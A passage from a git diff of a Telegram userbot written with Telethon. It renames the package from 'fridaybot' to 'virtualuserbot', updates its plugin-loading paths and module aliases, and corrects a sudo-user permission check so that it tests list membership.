"fridaybot.modules.{}".format(shortname) + path = Path(f"virtualuserbot/modules/{shortname}.py") + name = "virtualuserbot.modules.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) mod.bot = bot @@ -125,10 +125,12 @@ def load_module(shortname): mod.command = command mod.logger = logging.getLogger(shortname) # support for uniborg - sys.modules["uniborg.util"] = fridaybot.utils - sys.modules["friday.util"] = fridaybot.utils - sys.modules["userbot.utils"] = fridaybot.utils - sys.modules["userbot.plugins"] = fridaybot.modules + sys.modules["uniborg.util"] = virtualuserbot.utils + sys.modules["friday.util"] = virtualuserbot.utils + sys.modules["userbot.utils"] = virtualuserbot.utils + sys.modules["userbot.plugins"] = virtualuserbot.modules + sys.modules["plugins"] = virtualuserbot.modules + sys.modules["userbot"] = virtualuserbot mod.Config = Config mod.ignore_grp = ignore_grp() mod.ignore_pm = ignore_pm() @@ -138,10 +140,10 @@ def load_module(shortname): mod.borg = bot mod.friday = bot # support for paperplaneextended - sys.modules["fridaybot.events"] = fridaybot.utils + sys.modules["virtualuserbot.events"] = virtualuserbot.utils spec.loader.exec_module(mod) # for imports - sys.modules["fridaybot.modules." + shortname] = mod + sys.modules["virtualuserbot.modules." + shortname] = mod sedprint.info("Successfully imported " + shortname) @@ -153,7 +155,7 @@ def remove_plugin(shortname): del LOAD_PLUG[shortname] except: - name = f"fridaybot.modules.{shortname}" + name = f"virtualuserbot.modules.{shortname}" for i in reversed(range(len(bot._event_builders))): ev, cb = bot._event_builders[i] @@ -252,7 +254,7 @@ def friday_on_cmd(pattern=None, **args): """ Userbot module for managing events. - One of the main components of the fridaybot. """ + One of the main components of the virtualuserbot. """ import asyncio import datetime @@ -263,11 +265,11 @@ def friday_on_cmd(pattern=None, **args): from telethon import events -from fridaybot import bot +from virtualuserbot import bot def register(**args): - """ Register a new event. """ + """Register a new event.""" args["func"] = lambda e: e.via_bot_id is None stack = inspect.stack() @@ -501,6 +503,8 @@ def cmd(func): pattern = bothandler + add_cmd + "(?: |$)(.*)" elif is_args == "stark": pattern = bothandler + add_cmd + " (.*)" + elif is_args == "heck": + pattern = bothandler + add_cmd elif is_args == "snips": pattern = bothandler + add_cmd + " (\S+)" else: @@ -556,10 +560,8 @@ def decorator(func): @functools.wraps(func) async def wrapper(event): kek = list(Config.SUDO_USERS) - mm = bot.uid - if event.sender_id == mm: - await func(event) - elif event.sender_id == kek: + kek.append(bot.uid) + if event.sender_id in kek: await func(event) else: await event.reply("Only Owners, Sudo Users Can Use This Command.") @@ -617,10 +619,8 @@ def decorator(func): @functools.wraps(func) async def wrapper(event): kek = list(Config.SUDO_USERS) - mm = bot.uid - if event.sender_id == mm: - await func(event) - elif event.sender_id == kek: + kek.append(bot.uid) + if event.sender_id in kek: await func(event) else: pass @@ -652,8 +652,8 @@ def start_assistant(shortname): import sys from pathlib import Path - path = Path(f"fridaybot/modules/assistant/{shortname}.py") - name = "fridaybot.modules.assistant.{}".format(shortname) + path = Path(f"virtualuserbot/modules/assistant/{shortname}.py") + name = "virtualuserbot.modules.assistant.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) @@ -664,8 +664,8 @@ def start_assistant(shortname): import sys from pathlib import Path - path = Path(f"fridaybot/modules/assistant/{shortname}.py") - name = "fridaybot.modules.assistant.{}".format(shortname) + path = Path(f"virtualuserbot/modules/assistant/{shortname}.py") + name = "virtualuserbot.modules.assistant.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) mod.tgbot = bot.tgbot @@ -681,5 +681,5 @@ def start_assistant(shortname): mod.peru_only = peru_only() mod.only_pvt = only_pvt() spec.loader.exec_module(mod) - sys.modules["fridaybot.modules.assistant" + shortname] = mod + sys.modules["virtualuserbot.modules.assistant" + shortname] = mod sedprint.info("Assistant Has imported " + shortname) diff --git a/fridaybot/wraptools/__init__.py b/virtualuserbot/wraptools/__init__.py similarity index 97% rename from fridaybot/wraptools/__init__.py rename to virtualuserbot/wraptools/__init__.py index 4f97f0f3..c15607af 100644 --- a/fridaybot/wraptools/__init__.py +++ b/virtualuserbot/wraptools/__init__.py @@ -17,9 +17,9 @@ from telethon import events -from fridaybot import bot -from fridaybot.Configs import Config from var import Var +from virtualuserbot import bot +from virtualuserbot.Configs import Config def ignore_fwd():